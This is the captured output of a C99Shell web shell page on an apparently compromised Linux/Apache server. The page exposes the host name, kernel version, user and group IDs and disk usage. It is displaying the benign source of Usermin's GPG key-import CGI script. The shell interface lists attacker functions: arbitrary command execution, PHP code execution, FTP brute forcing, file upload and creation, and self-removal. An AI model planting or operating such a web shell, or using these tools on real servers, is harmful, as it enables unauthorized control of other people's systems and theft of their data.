!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/usr/share/usermin/gnupg/   drwxr-xr-x
Free 25.65 GB of 117.98 GB (21.75%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     import.cgi (1.07 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
#!/usr/bin/perl
# import.cgi
# Import somebody's public key

require './gnupg-lib.pl';
&ReadParseMime();
&error_setup($text{'import_err'});

if ($in{'mode'} == 0) {
    # From uploaded file, saved to temp
    $in{'upload'} || &error($text{'import_ekey'});
    $temp = &transname();
    open(TEMP, ">$temp");
    print TEMP $in{'upload'};
    close(TEMP);
    $out = &backquote_command(
        "$gpgpath --import ".quotemeta($temp)." 2>&1");
    unlink($temp);
    }
elsif ($in{'mode'} == 1) {
    # From local file
    $in{'local'} = "$remote_user_info[7]/$in{'local'}"
        if ($in{'local'} !~ /^\//);
    -r $in{'local'} || &error($text{'import_efile'});
    $out = &backquote_command(
        "$gpgpath --import ".quotemeta($in{'local'})." 2>&1");
    }
elsif ($in{'mode'} == 2) {
    # From pasted text
    $in{'text'} || &error($text{'import_etext'});
    $in{'text'} =~ s/\r//g;
    $temp = &transname();
    open(TEMP, ">$temp");
    print TEMP $in{'text'};
    close(TEMP);
    $out = &backquote_command(
        "$gpgpath --import ".quotemeta($temp)." 2>&1");
    unlink($temp);
    }
if ($?) {
    &error(&text('import_egpg', "<tt>$out</tt>"));
    }
&redirect("list_keys.cgi");


:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0043 ]--